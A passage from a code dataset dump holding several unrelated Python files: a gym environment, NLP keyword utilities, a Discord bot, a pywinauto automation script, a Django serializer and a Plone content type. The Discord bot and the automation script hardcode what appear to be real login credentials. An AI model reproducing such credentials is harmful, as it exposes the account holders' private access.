"argument"}, {"api_name": "django.conf.urls.url", "line_number": 58, "usage_type": "call"}, {"api_name": "views.update_physical_exam", "line_number": 58, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 59, "usage_type": "call"}, {"api_name": "views.update_physical_exam", "line_number": 59, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 60, "usage_type": "call"}, {"api_name": "views.savePhysicalExam", "line_number": 60, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 61, "usage_type": "call"}, {"api_name": "views.addPhysicalExam", "line_number": 61, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 62, "usage_type": "call"}, {"api_name": "views.updatePatientDoctorOrder", "line_number": 62, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 63, "usage_type": "call"}, {"api_name": "views.modifyPatientDoctorOrder", "line_number": 63, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 64, "usage_type": "call"}, {"api_name": "views.save_docorder", "line_number": 64, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 65, "usage_type": "call"}, {"api_name": "views.addDoctorOrder", "line_number": 65, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 72, "usage_type": "call"}, {"api_name": "views.add_patient_save", "line_number": 72, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 73, "usage_type": "call"}, {"api_name": "views.add_patient", "line_number": 73, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 74, "usage_type": "call"}, {"api_name": "views.search_patient", "line_number": 74, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 75, "usage_type": "call"}, {"api_name": "views.generateDischargeSummaryForm", "line_number": 75, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 76, "usage_type": "call"}, {"api_name": "views.login", "line_number": 76, "usage_type": "argument"}]} +{"seq_id": "258820147", "text": "from gym import core, spaces\nimport numpy as np\n\nDEBUG = True\n\nclass ChainEnv(core.Env):\n\n metadata = {\n 'render.modes': [],\n 'video.frames_per_second' : 15\n }\n\n max_return = 10\n\n def __init__(self, n = 4):\n self.n = n # max n = 49\n self.observation_space = spaces.Box(np.zeros(self.n+2), np.ones(self.n+2))\n self.action_space = spaces.Discrete(2)\n\n def _reset(self):\n self.t = 0\n self.state = 1\n return self.features()\n\n def _step(self, action):\n self.state = int(np.clip(self.state + np.squeeze(action) * 2 - 1, 0, self.n+1))\n\n r = .0001 * (self.state == 0) + 1. * (self.state == self.n+1)\n self.t += 1\n\n terminal = self.t >= 9 + self.n\n return self.features(), r, terminal, {}\n\n def features(self):\n f = np.zeros(self.n+2)\n f[self.state] = 1\n return f\n\n\nclass ContinuousChainEnv():\n\n metadata = {\n 'render.modes': [],\n 'video.frames_per_second' : 15\n }\n\n max_return = 10\n\n def __init__(self, n = 4):\n self.n = n # max n = 49\n self.observation_space = spaces.Box(np.zeros(self.n), np.ones(self.n))\n self.action_space = spaces.Box(np.array([-1]), np.array([1]))\n\n\n def _step(self, action):\n action = np.clip(np.squeeze(action), -1, 1)\n\n self.state = np.clip(self.state + action, 0, self.n + 1)\n\n pos = np.atleast_2d(np.arange(0, self.n)) - self.state\n features = np.exp(- np.square(pos))\n\n reward = .0001 * (self.state < 1) + 1. * (self.state > self.n)\n terminal = self.t >= 9 + self.n\n\n return features, reward, terminal, {}", "sub_path": "gym_mix/envs/chain.py", "file_name": "chain.py", "file_ext": "py", "file_size_in_byte": 1524, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "gym.core.Env", "line_number": 6, "usage_type": "attribute"}, {"api_name": "gym.core", "line_number": 6, "usage_type": "name"}, {"api_name": "gym.spaces.Box", "line_number": 17, "usage_type": "call"}, {"api_name": "gym.spaces", "line_number": 17, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 17, "usage_type": "call"}, {"api_name": "gym.spaces.Discrete", "line_number": 18, "usage_type": "call"}, {"api_name": "gym.spaces", "line_number": 18, "usage_type": "name"}, {"api_name": "numpy.clip", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 35, "usage_type": "call"}, {"api_name": "gym.spaces.Box", "line_number": 51, "usage_type": "call"}, {"api_name": "gym.spaces", "line_number": 51, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 51, "usage_type": "call"}, {"api_name": "gym.spaces.Box", "line_number": 52, "usage_type": "call"}, {"api_name": "gym.spaces", "line_number": 52, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.atleast_2d", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.square", "line_number": 61, "usage_type": "call"}]} +{"seq_id": "173369229", "text": "from numpy import log\nfrom nltk import bigrams\nimport pandas as pd\nfrom nltk.corpus import stopwords\nfrom itertools import combinations\nfrom collections import defaultdict\nfrom pandas import DataFrame\nfrom nltk.stem import PorterStemmer\n\n\nps=PorterStemmer()\nstops = ['some','come','best','often','some','age','day','want', 'call','are','within','way', 'doctor','this','take','one','read','short','see','usual','eat','prevent','run','help','earlier','use', 'people','may','even','everyone','get','sign','take','symtom','you','includes','include','also','reduce','cause','take','get','worse','tea','drink','know','the','this','that']\nstops=stopwords.words(\"english\")+stops\n\ndef clean(corpus):\n corpus = \" \".join([ps.stem(i) for i in corpus.split() if i.isalpha() and i not in stops and len(i) > 3])\n corpus=corpus.lower().strip()\n return corpus\n\ndef word_freq(corpus):\n words = list(set(corpus.lower().split()))\n words = [word for word in words if word not in stops]\n freq = [(word, corpus.count(word)) for word in words]\n return [i for i in freq if i[1] > 1 and len(i[0])>2]\n\ndef co_occurrence_matrix(corpus):\n from collections import defaultdict\n corpus = \" \".join([i for i in corpus.split() if i.isalpha() and i not in stopwords.words(\"english\") and len(i) > 1])\n com = defaultdict(lambda : defaultdict(int))\n vocab = list(corpus.split(\" \"))\n #vocab = list(vocab)\n\n for i in range(len(vocab)-1):\n for j in range(i+1, len(vocab)):\n w1, w2 = sorted([vocab[i], vocab[j]])\n if w1 != w2:\n com[w1][w2] += 1\n else:\n com[w1][w2]=1\n # Key:Value = Word:Index\n vocab_to_index = { word:i for i, word in enumerate(vocab) }\n\n # Create bigrams from all words in corpus\n bi_grams = list(bigrams(vocab))\n return com\n\n\ndef createDictionary(corpus):\n wordlist = \"\".join((char if char.isalpha() else \" \") for char in corpus).split()\n wordlist = [word.lower() for word in wordlist if len(word) > 1]\n wordlist = [word for word in wordlist if word not in stopwords.words(\"english\")]\n wordfreq = [(word, wordlist.count(word)) for word in list(set(wordlist))]\n wordfreq = sorted(wordfreq, key=lambda freq: freq[1], reverse=True)\n wordfreq = [i for i in wordfreq if i[1] > 5]\n return wordfreq\n\ndef PMI(corpus):\n ############pre cleaning###################\n #sentence tokenize\n texts = [\" \".join([ps.stem(j) for j in i.split() if j not in stopwords.words(\"english\") and len(i) > 1]) for i in corpus.split(\"\\n\")]\n #word tokenize\n texts = [clean(i).split() for i in texts]\n texts = [i for i in texts if len(i)>0]\n\n\n cx,cxy = {},{}\n for text in texts:\n #create a word frequency\n for x in text:\n if x in cx.keys():\n cx[x] += 1\n else:\n cx[x] = 1\n #create a word combination count from each sentence\n for x, y in map(sorted, combinations(text, 2)):\n if (x,y) in cxy.keys():\n cxy[(x, y)] += 1\n else:\n cxy[(x, y)] = 1\n\n min_count, max_count = (1 / 1000) * len(texts), (1/200) * len(corpus)\n\n for x in list(cx.keys()):\n if cx[x] < min_count or cx[x] > max_count:\n del cx[x]\n\n x2i, i2x = {}, {}\n for i, x in enumerate(cx.keys()):\n x2i[x], i2x[i] = i,x\n\n\n sx,sxy = sum(cx.values()),sum(cxy.values())\n\n pmi_samples, data = defaultdict(lambda : defaultdict(int)), []\n\n for (x, y), n in cxy.items():\n data.append(log((n / sxy) / (cx[x] / sx) / (cx[y] / sx)))\n pmi_samples[x][y] = data[-1]\n\n #return pd.DataFrame(pmi_samples).fillna(0).sum().sort_values(ascending=False)\n return DataFrame(pmi_samples).sum().sort_values(ascending=False)\n", "sub_path": "DataTransformation/SocialDimension/TextQuantification/LexiconBuilding/KeywordExtraction/utilities.py", "file_name": "utilities.py", "file_ext": "py", "file_size_in_byte": 3764, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "nltk.stem.PorterStemmer", "line_number": 11, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 13, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 13, "usage_type": "name"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 28, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 28, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 29, "usage_type": "call"}, {"api_name": "nltk.bigrams", "line_number": 44, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 51, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 51, "usage_type": "name"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 60, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 60, "usage_type": "name"}, {"api_name": "itertools.combinations", "line_number": 75, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 97, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 101, "usage_type": "call"}]} +{"seq_id": "215929905", "text": "\ntry:\n import multiprocessing\nexcept ImportError:\n print(\"Cannot import 'multiprocessing' module. Parallelization not possible.\")\n pmap = map\n low_memory_pmap = map\n CPUs = 1\nfinally:\n CPUs = multiprocessing.cpu_count()\n def pmap(func, Iter, processes=CPUs):\n with multiprocessing.Pool(processes=processes) as P:\n return P.map(func, Iter)\n\n def low_memory_pmap(func, Iter, processes=int(round(CPUs/2))):\n with multiprocessing.Pool(processes=processes) as P:\n return [result for result in P.imap(func, Iter)]\n \n\n", "sub_path": "tuba_seq/pmap.py", "file_name": "pmap.py", "file_ext": "py", "file_size_in_byte": 578, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "multiprocessing.cpu_count", "line_number": 10, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 12, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 16, "usage_type": "call"}]} +{"seq_id": "264009067", "text": "from typing import List\n\nclass Solution:\n def numOfSubarrays(self, arr: List[int]) -> int:\n pre = 0\n odd, even = 0, 1\n for num in arr:\n pre += num\n if pre%2 == 0:\n even +=1\n else:\n odd +=1\n return (even*odd)%(10**9 + 7)\n\n\narr = [1,3,5]\n\nres = Solution().numOfSubarrays(arr)\nprint(res)", "sub_path": "array/1524_number_of_sub_arrays_with_odd_sum/1524_number_of_sub_arrays_with_odd_sum.py", "file_name": "1524_number_of_sub_arrays_with_odd_sum.py", "file_ext": "py", "file_size_in_byte": 378, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "typing.List", "line_number": 4, "usage_type": "name"}]} +{"seq_id": "248668295", "text": "import discord\nimport asyncio\nimport random\nimport json\nimport cleverbot\nimport json\nfrom urllib.request import urlopen\n\n#########################################################\n#Globals\n\ncb = cleverbot.Cleverbot()\nclient = discord.Client()\nhypedb = [\"http://i.imgur.com/1oNSmyl.gif\",\n \"http://gifs.benlk.com/happening.gif\",\n \"https://31.media.tumblr.com/4631d343dd011414e886977c73a6bb03/tumblr_n58fqtFyTj1svlwhbo1_1280.gif\",\n \"http://s3.amazonaws.com/rapgenius/funny-gif-Colbert-screaming.gif\",\n \"https://fat.gfycat.com/ActualFeistyBettong.gif\",\n \"http://1.bp.blogspot.com/-V0lGJz82ijw/UsnKIAqEp1I/AAAAAAAAA6E/mdmU5rJwBGw/s1600/RIVAHHSSSHYPED.gif\",\n \"https://49.media.tumblr.com/4581c0f0a529da432bf5ac84e3d5de0a/tumblr_ncj65sNEnd1sr6y44o1_500.gif\"\n ]\n\n#########################################################\n#Helper fucntions\n\nasync def AppendId(message, msg):\n msg += \"<@%s> \" % (message.author.id)\n return msg\n#########################################################\n#Events\n\n@client.event\nasync def on_ready():\n print(client.user.name)\n\n \n@client.event\nasync def on_message(message):\n if client.user.id in message.content:\n await MessageParse(message)\n\nasync def MessageParse(message):\n message_array = str(message.content).split()\n\n if message_array[1] == \"!hype\":\n await Hype(message)\n else:\n await Cleverbot(message)\n\n##########################################################\n#Actions\nasync def Cleverbot(message):\n question = str(message.content)[22:]\n msg = ''\n msg = await AppendId(message, msg)\n msg += cb.ask(question)\n await client.send_message(message.channel, msg)\n\nasync def Hype(message):\n msg = ''\n msg = await AppendId(message, msg)\n msg += random.choice(hypedb)\n await client.send_message(message.channel, msg)\n \n##########################################################\n#Connection\n \nclient.run(\"pinkfloyd6000@gmail.com\", \"bono01\")\n", "sub_path": "bot.py", "file_name": "bot.py", "file_ext": "py", "file_size_in_byte": 2011, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "cleverbot.Cleverbot", "line_number": 12, "usage_type": "call"}, {"api_name": "discord.Client", "line_number": 13, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 62, "usage_type": "call"}]} +{"seq_id": "288711612", "text": "##from pywinauto.application import Application\n##from pywinauto.keyboard import SendKeys\nimport time\nfrom pywinauto import *\nfrom pywinauto.controls.hwndwrapper import HwndWrapper\nfrom pywinauto.controls.menuwrapper import MenuItem\nfrom pywinauto import mouse\n\n\napp = Application().Start(cmd_line=\"//pe-rec-vmsci01/modulos/UNICO.EXE\")\n\nwhile True:\n try:\n tfrsenhausuario = app.Senha\n tfrsenhausuario.Wait('ready')\n teditstringapelidosci = tfrsenhausuario[u'4']\n teditstringapelidosci.set_text(\"tgoncalves\")\n teditstringpadrao = tfrsenhausuario[u'3']\n teditstringpadrao.set_text(\"qwert\")\n break\n except Exception as e:\n print(e)\n\n\nttoolbar=tfrsenhausuario.TToolBar\ns = str(ttoolbar.Rectangle()).split(\",\")\nx=int(s[0][2:])\ny=(int(s[1][2:])+int(s[3][2:-1]))/2\nprint(x , \" \" , y)\nmouse.click(coords=(x,int(y)))\n\nwhile True:\n try:\n tfrunico = app.TfrUnico\n ttool = tfrunico[u'tbMenuSistema']\n ttool.Click()\n break\n except Exception as e:\n print(e)\n\n\n# # ttool.print_control_identifiers()\n# # time.sleep(3)\n# print(app.window(class_name=\"#32768\"))\n# #\npop = app.window(class_name=\"#32768\")\npop.Rectangle()\ns = str(pop.Rectangle()).split(\",\")\nxp = int(s[0][2:])+35\np = ((int(s[3][2:-1]))-(int(s[1][2:])))/16\nprint(p)\nyp = ((int(s[1][2:])+15)+(p*2))\nprint(xp , \" \" , yp)\nmouse.click(coords=(xp,int(yp)))\n\n\nmenu_item = tfrunico.MenuItem(u'Cadastros->#16->#1')\nmenu_item.Click()\n\n\n# importa = tfrunico.TfrImportacaoNfsePadrao\n#\n# empresa = importa.Edit8\n# empresa.click()\n# empresa.set_text('1')\n# keyboard.SendKeys('{TAB}')\n# importa.PrintControlIdentifiers()\n#\n#\n# datI = importa.Edit6\n# datI.set_text('01/03/2018')\n# esp = importa.Edit5\n# esp.set_text('NE')\n# serie = importa.Edit2\n# serie.set_text('2')\n#\n# emissP = importa.RadioButton2\n# emissP.click()\n# serie = importa.Edit9\n# serie.set_text('2')\n# keyboard.SendKeys('{TAB}')\n# keyboard.SendKeys('{PGDN}')\n#\n#\n# importar = tfrunico.TToolBar6\n# s = str(importar.Rectangle()).split(\",\")\n# p = 31\n# xp = (int(s[0][2:])+15)+(p*2)\n# print(p)\n# yp = ((int(s[1][2:])+15))\n# print(xp , \" \" , yp)\n# mouse.click(coords=(int(xp),int(yp)))\n#\n#\n# #### ZONA FANTASMA ####\n# # # ttool.print_control_identifiers()\n# # # time.sleep(3)\n# # print(app.window(class_name=\"#32768\"))\n# # #\n# # pop = app.window(class_name=\"#32768\")\n# # ttoolbar2 = tfrunico.TToolBar\n# # ttoolbar2.Click()\n# # tfrconsultaempresapadrao = app[u'Escolha da empresa atual']\n# # teditstringpadrao = tfrconsultaempresapadrao.Edit\n# # teditstringpadrao.Click()\n# # teditstringpadrao.set_text()\n# # time.sleep(2)\n# # ttoolbar3 = tfrconsultaempresapadrao.TToolBar\n# # ttoolbar3.Click()\n#\n# # menu_item = tfrunico.MenuItem(u'R&elat\\xf3rios->#2')\n# # menu_item.Click()\n# # teditcodigosearchsci = tfrunico[u'11']\n# # teditcodigosearchsci.ClickInput()\n# # teditcodigosearchsci.set_text(592)\n# # time.sleep(1)\n# # keyboard.SendKeys('{ENTER}')\n# # teditdatepadraosci = tfrunico[u'14']\n# # teditdatepadraosci.DoubleClickInput()\n# # teditdatepadraosci.set_text('022018')\n# #\n# # ttoolbar3 = tfrunico.TToolBar6\n# # s = str(ttoolbar3.Rectangle()).split(\",\")\n# # x=int(s[0][2:])+70\n# y=(int(s[1][2:])+int(s[3][2:-1]))/2\n# print(x , \" \" , y)\n# mouse.click(coords=(x,int(y)))\n# keyboard.SendKeys('{DOWN 4}')\n# keyboard.SendKeys('{ENTER}')\n# time.sleep(20)\n# window = app.Dialog\n# window.Wait('ready')\n# button = window.Button\n# button.Click()\n#\n# ##ttoolbar.Click()\n# ##ttoolbar2 = tfrunico.TToolBar6\n# ##ttoolbar2.ChildWindow(control_id=25)\n#\n# ##ttoolbar2.get_child(25).Click()\n#\n", "sub_path": "buts/buts/estagiario/unico.py", "file_name": "unico.py", "file_ext": "py", "file_size_in_byte": 3573, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "pywinauto.mouse.click", "line_number": 30, "usage_type": "call"}, {"api_name": "pywinauto.mouse", "line_number": 30, "usage_type": "name"}, {"api_name": "pywinauto.mouse.click", "line_number": 54, "usage_type": "call"}, {"api_name": "pywinauto.mouse", "line_number": 54, "usage_type": "name"}]} +{"seq_id": "225833143", "text": "from django.core.exceptions import ValidationError\n\nfrom rest_framework import serializers\nfrom rest_framework.validators import UniqueValidator\n\nfrom users.models import User\n\n\nclass UserSerializer(serializers.ModelSerializer):\n class Meta:\n fields = (\n 'first_name',\n 'last_name',\n 'username',\n 'bio',\n 'email',\n 'role'\n )\n model = User\n\n\nclass SignupSerializer(serializers.Serializer):\n username = serializers.CharField(\n validators=(UniqueValidator(queryset=User.objects.all()),)\n )\n email = serializers.EmailField(\n validators=(UniqueValidator(queryset=User.objects.all()),)\n )\n\n def validate_username(self, data):\n if data == 'me':\n raise ValidationError(message='Username \"me\" is not allowed')\n return data\n\n\nclass GenTokenSerializer(serializers.Serializer):\n username = serializers.CharField()\n confirmation_code = serializers.CharField(max_length=128)\n", "sub_path": "api_yamdb/users/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 1011, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 9, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 9, "usage_type": "name"}, {"api_name": "users.models.User", "line_number": 19, "usage_type": "name"}, {"api_name": "rest_framework.serializers.Serializer", "line_number": 22, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 22, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 23, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 23, "usage_type": "name"}, {"api_name": "rest_framework.validators.UniqueValidator", "line_number": 24, "usage_type": "call"}, {"api_name": "users.models.User.objects.all", "line_number": 24, "usage_type": "call"}, {"api_name": "users.models.User.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "users.models.User", "line_number": 24, "usage_type": "name"}, {"api_name": "rest_framework.serializers.EmailField", "line_number": 26, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 26, "usage_type": "name"}, {"api_name": "rest_framework.validators.UniqueValidator", "line_number": 27, "usage_type": "call"}, {"api_name": "users.models.User.objects.all", "line_number": 27, "usage_type": "call"}, {"api_name": "users.models.User.objects", "line_number": 27, "usage_type": "attribute"}, {"api_name": "users.models.User", "line_number": 27, "usage_type": "name"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 32, "usage_type": "call"}, {"api_name": "rest_framework.serializers.Serializer", "line_number": 36, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 36, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 37, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 37, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 38, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 38, "usage_type": "name"}]} +{"seq_id": "384584750", "text": "# -*- coding: utf-8 -*-\n\"\"\"Definition of the TVBr Reporter Display content type\n\"\"\"\n\nfrom zope.interface import implements\n\nfrom Products.Archetypes import atapi\nfrom Products.ATContentTypes.content import base\nfrom Products.ATContentTypes.content import schemata\n\n# -*- Message Factory Imported Here -*-\nfrom automator.tvbrasil import tvbrasilMessageFactory as _\n\nfrom automator.tvbrasil.interfaces import ITVBrReporterDisplay\nfrom automator.tvbrasil.config import PROJECTNAME\n\nfrom Products.DataGridField import DataGridField, DataGridWidget\nfrom Products.DataGridField.Column import Column\n\nfrom DateTime.DateTime import *\n\nTVBrReporterDisplaySchema = schemata.ATContentTypeSchema.copy() + atapi.Schema((\n\n # -*- Your Archetypes field definitions here ... -*-\n\n atapi.StringField(\n 'destino',\n storage=atapi.AnnotationStorage(),\n widget=atapi.SelectionWidget(\n label=_(u\"Destino\"),\n description=_(u\"Selecione o local em que a arte deve ser disponibilizada.\"),\n format=\"radio\"\n ),\n vocabulary=['DF','RJ','SP','MA'],\n default='DF',\n required=True,\n ),\n\n atapi.StringField(\n 'subtitulo',\n storage=atapi.AnnotationStorage(),\n widget=atapi.StringWidget(\n label=_(u\"Subtítulo\"),\n ),\n ),\n\n DataGridField(\n 'itens',\n columns=(\"item\",),\n allow_reorder=True,\n allow_delete=True,\n allow_insert=True,\n widget=DataGridWidget(\n description=_(u\"Inclua no máximo 5 linhas.\"),\n columns={\n 'item' : Column(\"Linhas\"),\n },\n ),\n# validators = ( itensValidator )\n ),\n\n atapi.StringField(\n 'fonte',\n storage=atapi.AnnotationStorage(),\n widget=atapi.StringWidget(\n label=_(u\"Fonte\"),\n ),\n ),\n\n\n))\n\n# Set storage on fields copied from ATContentTypeSchema, making sure\n# they work well with the python bridge properties.\n\nTVBrReporterDisplaySchema['title'].storage = atapi.AnnotationStorage()\nTVBrReporterDisplaySchema['description'].storage = atapi.AnnotationStorage()\nTVBrReporterDisplaySchema['description'].widget.visible = {\"edit\": \"invisible\", \"view\": \"invisible\"}\nTVBrReporterDisplaySchema['location'].widget.visible = {\"edit\": \"invisible\", \"view\": \"invisible\"}\nTVBrReporterDisplaySchema['language'].widget.visible = {\"edit\": \"invisible\", \"view\": \"invisible\"}\nTVBrReporterDisplaySchema['effectiveDate'].widget.visible = {\"edit\": \"invisible\", \"view\": \"invisible\"}\nTVBrReporterDisplaySchema['expirationDate'].widget.visible = {\"edit\": \"invisible\", \"view\": \"invisible\"}\nTVBrReporterDisplaySchema['creators'].widget.visible = {\"edit\": \"invisible\", \"view\": \"invisible\"}\nTVBrReporterDisplaySchema['contributors'].widget.visible = {\"edit\": \"invisible\", \"view\": \"invisible\"}\nTVBrReporterDisplaySchema['rights'].widget.visible = {\"edit\": \"invisible\", \"view\": \"invisible\"}\nTVBrReporterDisplaySchema['allowDiscussion'].widget.visible = {\"edit\": \"invisible\", \"view\": \"invisible\"}\nTVBrReporterDisplaySchema['excludeFromNav'].widget.visible = {\"edit\": \"invisible\", \"view\": \"invisible\"}\nTVBrReporterDisplaySchema['subject'].widget.visible = {\"edit\": \"invisible\", \"view\": \"invisible\"}\nTVBrReporterDisplaySchema['relatedItems'].widget.visible = {\"edit\": \"invisible\", \"view\": \"invisible\"}\n\n\n\nschemata.finalizeATCTSchema(TVBrReporterDisplaySchema, moveDiscussion=False)\n\n\nclass TVBrReporterDisplay(base.ATCTContent):\n \"\"\" \"\"\"\n implements(ITVBrReporterDisplay)\n\n meta_type = \"TVBrReporterDisplay\"\n schema = TVBrReporterDisplaySchema\n\n title = atapi.ATFieldProperty('title')\n description = atapi.ATFieldProperty('description')\n\n # -*- Your ATSchema to Python Property Bridges Here ... -*-\n destino = atapi.ATFieldProperty('destino')\n subtitulo = atapi.ATFieldProperty('subtitulo')\n fonte = atapi.ATFieldProperty('fonte')\n\n\n def getAutomator(self):\n novoProjeto = DateTime().strftime(\"%Y%m%d%H%M%S\") + '_' + self.meta_type\n titulo = self.Title()\n titulo = titulo.replace('\"','\\\\\"')\n subtitulo = self.getSubtitulo()\n subtitulo = subtitulo.replace('\"','\\\\\"')\n itens = self.getItens()\n fonte = self.getFonte()\n fonte = fonte.replace('\"','\\\\\"')\n\n if len(itens) > 5:\n itens = itens[:5]\n\n aux = 'var ext_novoProjeto = \"%s\";\\n' % novoProjeto\n aux = aux + 'var ext_telas = [\\n'\n aux = aux + '{\\n'\n aux = aux + 'name: \"display\",\\n'\n aux = aux + 'tempo: 30,\\n'\n aux = aux + 'titulo: \"%s\",\\n' % titulo.strip()\n aux = aux + 'subtitulo: \"%s\",\\n' % subtitulo.strip()\n aux = aux + 'itens: ['\n for item in itens:\n aux = aux + '\"%s\",' % item['item'].replace('\"','\\\\\"')\n aux = aux[:-1] + '],\\n'\n aux = aux + 'fonte: \"%s\"\\n' % fonte.strip()\n aux = aux + '}]; \\n'\n aux = aux + 'var destino = \"%s\";\\n' % self.getDestino()\n aux = aux + 'var arquivos = [];'\n return aux\n\natapi.registerType(TVBrReporterDisplay, PROJECTNAME)\n", "sub_path": "automator/tvbrasil/content/tvbrreporterdisplay.py", "file_name": "tvbrreporterdisplay.py", "file_ext": "py", "file_size_in_byte": 5086, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "Products.ATContentTypes.content.schemata.ATContentTypeSchema.copy", "line_number": 22, "usage_type": "call"}, {"api_name": "Products.ATContentTypes.content.schemata.ATContentTypeSchema", "line_number": 22, "usage_type": "attribute"}, {"api_name": "Products.ATContentTypes.content.schemata", "line_number": 22, "usage_type": "name"}, {"api_name": "Products.Archetypes.atapi.Schema", "line_number": 22, "usage_type": "call"}, {"api_name": "Products.Archetypes.atapi", "line_number": 22, "usage_type": "name"}, {"api_name": "Products.Archetypes.atapi.StringField", "line_number": 26, "usage_type": "call"}, {"api_name": "Products.Archetypes.atapi", "line_number": 26, "usage_type": "name"}, {"api_name": "Products.Archetypes.atapi.AnnotationStorage", "line_number": 28, "usage_type": "call"}, {"api_name": "Products.Archetypes.atapi", "line_number": 28, "usage_type": "name"}, {"api_name": "Products.Archetypes.atapi.SelectionWidget", "line_number": 29, "usage_type": "call"}, {"api_name": "Products.Archetypes.atapi", "line_number": 29, "usage_type": "name"}, {"api_name": "automator.tvbrasil.tvbrasilMessageFactory", "line_number": 30, "usage_type": "call"}, {"api_name": "automator.tvbrasil.tvbrasilMessageFactory", "line_number": 31, "usage_type": "call"}, {"api_name": "Products.Archetypes.atapi.StringField", "line_number": 39, "usage_type": "call"}, {"api_name": "Products.Archetypes.atapi", "line_number": 39, "usage_type": "name"}, {"api_name": "Products.Archetypes.atapi.AnnotationStorage", "line_number": 41, "usage_type": "call"}, {"api_name": "Products.Archetypes.atapi", "line_number": 41, "usage_type": "name"}, {"api_name": "Products.Archetypes.atapi.StringWidget", "line_number": 42, "usage_type": "call"}, {"api_name": "Products.Archetypes.atapi", "line_number": 42, "usage_type": "name"}, {"api_name": "automator.tvbrasil.tvbrasilMessageFactory", "line_number": 43, "usage_type": "call"}, {"api_name": "Products.DataGridField.DataGridField", "line_number": 47, "usage_type": "call"}, {"api_name": "Products.DataGridField.DataGridWidget", "line_number": 53, "usage_type": "call"}, {"api_name": "automator.tvbrasil.tvbrasilMessageFactory", "line_number": 54, "usage_type": "call"}, {"api_name": "Products.DataGridField.Column.Column", "line_number": 56, "usage_type": "call"}, {"api_name": "Products.Archetypes.atapi.StringField", "line_number": 62, "usage_type": "call"}, {"api_name": "Products.Archetypes.atapi", "line_number": 62, "usage_type": "name"}, {"api_name": "Products.Archetypes.atapi.AnnotationStorage", "line_number": 64, "usage_type": "call"}, {"api_name": "Products.Archetypes.atapi", "line_number": 64, "usage_type": "name"}, {"api_name": "Products.Archetypes.atapi.StringWidget", "line_number": 65, "usage_type": "call"}, {"api_name": "Products.Archetypes.atapi", "line_number": 65, "usage_type": "name"}, {"api_name": "automator.tvbrasil.tvbrasilMessageFactory", "line_number": 66, "usage_type": "call"}, {"api_name": "Products.Archetypes.atapi.AnnotationStorage", "line_number": 76, "usage_type": "call"}, {"api_name": "Products.Archetypes.atapi", "line_number": 76, "usage_type": "name"}, {"api_name": "Products.Archetypes.atapi.AnnotationStorage", "line_number": 